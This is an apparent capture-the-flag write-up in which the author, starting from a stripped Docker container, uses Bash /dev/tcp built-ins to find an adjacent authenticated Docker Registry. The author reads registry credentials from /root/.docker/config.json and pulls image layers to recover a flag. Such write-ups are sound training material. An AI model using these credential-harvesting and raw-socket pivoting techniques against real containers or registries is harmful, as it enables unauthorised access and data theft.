Разбор ботнета
Разбор ботнета
Platform: avitoctf | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: bash_dev_tcp, registry_api_traversal, docker_layer_extraction
Summary
Task: A root shell in a deliberately minimal Docker container must reach a hidden adjacent service without normal networking tools. Solution: Bash /dev/tcp exposes an authenticated registry whose FastAPI image layers contain the target file.
Разбор ботнета — avitoctf
Description
Reconnaissance confirms bees control a huge botnet; the player has persistence in one infected container; administrators removed all diagnostic and networking tools; honey badgers dig until victory.
The challenge provided SSH access as bot to a short-lived infected container. The objective was to investigate the surrounding container infrastructure and recover the flag without standard diagnostic or network clients.
Analysis
1. A deliberately minimal container
An interactive SSH PTY eventually opened a Bash 5.2 prompt. Bash variables and pathname expansion established that the shell was already container root and that almost every normal utility was absent:
bash read-only • copy allowedprintf 'BASH=%s UID=%s EUID=%s\n' "$BASH_VERSION" "$UID" "$EUID" printf '%s\n' /bin/* /sbin/* /usr/bin/* /usr/sbin/* 2>/dev/null
The only actual executables were:
text read-only • copy allowed/bin/base64 /bin/bash /sbin/docker-init
Commands such as id, ls, cat, curl, ssh, Python, and BusyBox were unavailable. Bash built-ins, glob expansion, input redirection, /proc, and Bash's /dev/tcp support were therefore the intended toolbox.
/proc/self/status showed UID/EUID 0, seccomp mode 2, and ordinary Docker-like effective capabilities. Mount information showed an overlay root filesystem and standard container pseudo-filesystems, but no Docker socket, management socket, host root mount, or writable cgroup escape path. There were also no useful jobs, services, SUID tools, or extra binaries. Root inside this container was the starting point, not a privilege-escalation goal.
2. Locate the adjacent service with Bash
The container address changed on each boot and belonged to a /26. Its current address appeared in /etc/hosts beside the hostname botnet. Across sessions, the intended HTTP service was consistently one IPv4 address below the current container address.
The following uses only Bash built-ins to derive that address and issue a raw request:
bash read-only • copy allowedmy= while read -r ip name rest; do [[ $name == botnet ]] && my=$ip done < /etc/hosts prefix=${my%.*} last=${my##*.} srv=$prefix.$((last-1)) exec 3<>/dev/tcp/$srv/5000 printf 'GET / HTTP/1.0\r\nHost: registry:5000\r\nConnection: close\r\n\r\n' >&3 while IFS= read -r -t 3 line <&3; do printf '%s\n' "$line" done exec 3>&- 3<&-
GET / returned an empty 200 OK. The important response header was:
text read-only • copy allowedDocker-Distribution-Api-Version: registry/2.0
This identified the service as a Docker Registry v2 rather than a conventional web application. Requests to /v2/ and /v2/_catalog returned 401 Unauthorized with a Basic-auth challenge.
3. Recover registry authentication
Bash globbing revealed /root/.docker/config.json. Its contents could be read without cat:
bash read-only • copy allowedwhile IFS= read -r line || [[ -n $line ]]; do printf '%s\n' "$line" done < /root/.docker/config.json
The registry:5000 entry contained an auth field. Its Base64 value is directly suitable for the HTTP Authorization: Basic header; the credential itself is intentionally redacted here. The supplied SSH credential did not authenticate to the registry.
This extracts the field at runtime without embedding it in the script:
bash read-only • copy allowedauth= while IFS= read -r line || [[ -n $line ]]; do if [[ $line == *'"auth"'* ]]; then value=${line#*:} value=${value#*\"} auth=${value%%\"*} fi done < /root/.docker/config.json
Solution
1. Query the catalog
A reusable raw HTTP helper made authenticated registry requests possible:
bash read-only • copy allowedregistry_get() { path=$1 exec 3<>/dev/tcp/$srv/5000 || return printf 'GET %s HTTP/1.0\r\n' "$path" >&3 printf 'Host: registry:5000\r\n' >&3 printf 'Authorization: Basic %s\r\n' "$auth" >&3 printf 'Accept: application/vnd.docker.distribution.manifest.v2+json\r\n' >&3 printf 'Connection: close\r\n\r\n' >&3 while IFS= read -r -t 4 line <&3; do printf '%s\n' "$line" done exec 3>&- 3<&- } registry_get '/v2/_catalog?n=1000'
The catalog contained three repositories:
json read-only • copy allowed{"repositories":["express","fastapi","flask"]}
2. Obtain the current FastAPI tag and manifest
Tags were dynamically generated for each challenge boot. A tag had to be queried and used during the same SSH session; copying a stale tag from an earlier session produced a failed manifest lookup.
bash read-only • copy allowedtag= exec 3<>/dev/tcp/$srv/5000 printf 'GET /v2/fastapi/tags/list HTTP/1.0\r\n' >&3 printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&3 printf 'Connection: close\r\n\r\n' >&3 while IFS= read -r -t 4 line <&3; do if [[ $line == *tags* ]]; then value=${line#*\[\"} tag=${value%%\"*} fi done exec 3>&- 3<&- registry_get "/v2/fastapi/manifests/$tag"
The schema-v2 manifest listed its layer descriptors in application order. The interesting small layers were:
| Size | Digest | Recovered path |
|---|---|---|
| 356 | sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456 | app/main.py |
| 171 | sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834ade | app/flag.txt (decoy) |
| 185 | sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5 | app/flag.txt (final content) |
app/main.py simply read flag.txt and returned it from the FastAPI root route. Running the image was unnecessary because the registry already exposed every filesystem layer.
3. Download layers through /dev/tcp
Binary HTTP responses could not safely be held in Bash variables. The available /bin/base64 encoded each complete response for copying back to the analyst host:
bash read-only • copy allowedblob64() { digest=$1 printf '\n=== BLOB64 %s ===\n' "$digest" exec 4<>/dev/tcp/$srv/5000 || return printf 'GET /v2/fastapi/blobs/%s HTTP/1.0\r\n' "$digest" >&4 printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&4 printf 'Connection: close\r\n\r\n' >&4 /bin/base64 <&4 exec 4>&- 4<&- } blob64 'sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456' blob64 'sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834ade' blob64 'sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5'
After saving the output as capture.txt, this host-side extractor decodes each raw HTTP response, removes its headers, decompresses the gzip body, and inspects the tar members:
python read-only • copy allowed#!/usr/bin/env python3 import base64 import gzip import io import pathlib import re import tarfile text = pathlib.Path("capture.txt").read_text() parts = re.split(r"^=== BLOB64 (sha256:[0-9a-f]+) ===\n", text, flags=re.M) for i in range(1, len(parts), 2): digest, block = parts[i:i + 2] encoded = [] for line in block.splitlines(): if re.fullmatch(r"[A-Za-z0-9+/=]+", line): encoded.append(line) else: break response = base64.b64decode("".join(encoded)) headers, body = response.split(b"\r\n\r\n", 1) if b" 200 OK\r\n" not in headers + b"\r\n": raise RuntimeError(f"blob request failed: {digest}") tar_data = gzip.decompress(body) with tarfile.open(fileobj=io.BytesIO(tar_data)) as archive: print(f"[{digest}]") for member in archive.getmembers(): print(member.name) if member.isfile(): data = archive.extractfile(member).read() print(data.decode("utf-8", "replace"))
The earlier app/flag.txt layer contained the confirmed decoy avito{NOT_FLAG! Contact ADMINS}. The later 185-byte layer wrote the same path again and contained avito{REDACTED}.
Docker constructs an image root filesystem by applying manifest layers from first to last. When a later layer supplies the same pathname as an earlier layer, the later file is what appears in the final merged filesystem. Therefore the second app/flag.txt superseded the decoy; treating every layer as equally current would select the wrong value.
False Paths
- There was no management socket, container runtime socket, or useful host mount.
- The shell was already root, but its capabilities, jobs, SUID surface, and minimal filesystem provided no local escalation route.
- Conventional application routes, documentation paths, Host variants, and HTTP method variants were dead ends; the registry response header was the decisive clue.
- Anonymous registry access, the supplied SSH credential, and bounded role guesses did not pass Basic authentication.
- Dynamic image tags were not peer hostnames. DNS-style interpretation was a dead end, and stale tags failed across SSH sessions.